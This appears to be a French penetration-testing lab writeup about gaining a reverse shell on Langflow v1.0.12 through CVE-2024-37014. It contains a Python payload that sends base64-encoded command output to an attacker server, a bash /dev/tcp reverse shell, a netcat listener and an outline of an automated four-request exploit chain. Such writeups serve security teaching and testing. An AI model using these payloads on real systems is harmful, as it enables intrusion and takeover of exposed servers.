Dans ce writeup, nous détaillons les étapes pour obtenir un reverse shell sur Langflow, un framework open-source populaire pour construire des applications pilotées par IA.
Langflow est une plateforme auto-hébergée qui permet aux utilisateurs de composer visuellement des pipelines LLM via une interface drag-and-drop. Nous allons exploiter l'une de ses fonctionnalités qui permet aux utilisateurs d'écrire et d'exécuter des composants Python personnalisés directement sur le serveur.
Walkthrough de la machine
On commence par énumérer la machine avec un simple scan de ports.
nmap -sC -sV -A -p-


Service HTTP sur le port 7860.
On visite le site.

La version ne semble pas affichée sur la page d'accueil, donc on lance un nouveau projet « Blank Flow » dans Langflow. En explorant l'interface, on remarque un bouton en bas à gauche qui affiche le numéro de version au survol. On confirme ainsi que Langflow v1.0.12 est utilisé.

Une recherche rapide pour vérifier si une vulnérabilité publique existe.
CVE-2024-37014 : la fonctionnalité Custom Component de Langflow permet aux utilisateurs d'écrire et d'exécuter des scripts Python arbitraires via l'endpoint POST /api/v1/custom_component sans aucune validation ni sandboxing. Un attaquant peut donc fabriquer un payload malveillant, l'envoyer au serveur et exécuter du code Python arbitraire — gagnant ainsi le contrôle total du système.
💡 CVE-2024-37014 est une vulnérabilité critique affectant les versions de Langflow jusqu'à 0.6.19 incluse, mais elle semble toucher également la version 1.0.12.
Exploitation manuelle
Étape 1 — Créer un nouveau projet
On commence par initialiser un nouveau projet blank flow dans l'application Langflow.


Chercher « Custom Components » dans le menu de gauche et faire glisser un composant personnalisé sur le canevas vide.

Cliquer sur l'icône de code qui apparaît en haut du composant pour ouvrir la fenêtre Edit Code.

Étape 2 — Injecter du code Python malveillant
Dans la classe CustomComponent, on injecte la fonction suivante pour exécuter des commandes système arbitraires et envoyer la sortie vers notre serveur :
import subprocess
import requests
import base64
def execute_and_send():
result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
if result.stderr:
print("Error:", result.stderr)
return
encoded_output = base64.b64encode(result.stdout.encode()).decode()
requests.get(f"http:///?data={encoded_output}")
execute_and_send()
Bien inclure le payload à l'intérieur de la classe du composant, et non pas remplacer tout le fichier.
Étape 3 — Déclencher l'exécution
Cliquer sur « Check & Save » puis exécuter le composant via la flèche en haut à droite. Cela déclenche l'API /api/v1/custom_component qui traite et exécute notre script.

Étape 4 — Établir un reverse shell
On améliore l'exploit pour obtenir un reverse shell complet en remplaçant le payload par :
def build_output(self) -> Data:
result = subprocess.run(
["bash", "-c", "bash -i >& /dev/tcp//1234 0>&1"],
capture_output=True,
text=True
)
if result.stderr:
return Data(value=f"Error: {result.stderr}")
return Data(value="Command executed")
Démarrer le listener sur la machine attaquante :
nc -lvnp 1234
Check & Save sur le composant, puis exécuter.

Automatisation
Plutôt que de déclencher l'exploit manuellement, nous avons automatisé la chaîne d'attaque complète avec un Makefile et un script exploit.py dédié.
Structure du projet
exploitation/Langflow_v1.0.12/
├── exploit.py # Automatisation complète de l'attaque (chaîne RCE 4 étapes)
├── Makefile # Raccourcis pour le listener et l'attaque
└── README.md # Ce writeup
Fonctionnement
Le script exploit.py reproduit exactement ce que l'interface Langflow fait en interne, en 4 étapes automatisées :
- Valider le code du composant malveillant via
POST /api/v1/custom_component - Créer un flow contenant le composant malveillant via
POST /api/v1/flows/ - Initialiser le graphe de build via
POST /api/v1/build/{flow_id}/vertices - Déclencher l'exécution via
POST /api/v1/build/{flow_id}/vertices/{vertex_id}→ RCE
Utilisation
Terminal 1 — Démarrer le listener :
make listen
Terminal 2 — Lancer l'attaque :
make attack LISTENER_IP=<votre-ip>
Lancer le listener

Exécuter l'exploit

Récupérer le shell

Conclusion
Ce test d'intrusion démontre comment un attaquant peut tirer parti de l'exécution non sécurisée de scripts Python définis par l'utilisateur dans la fonctionnalité Custom Component de Langflow pour obtenir une Remote Code Execution (RCE). L'absence totale de sandboxing et de validation des entrées sur l'endpoint /api/v1/custom_component rend cette RCE non authentifiée trivialement exploitable sur tout déploiement Langflow exposé à Internet.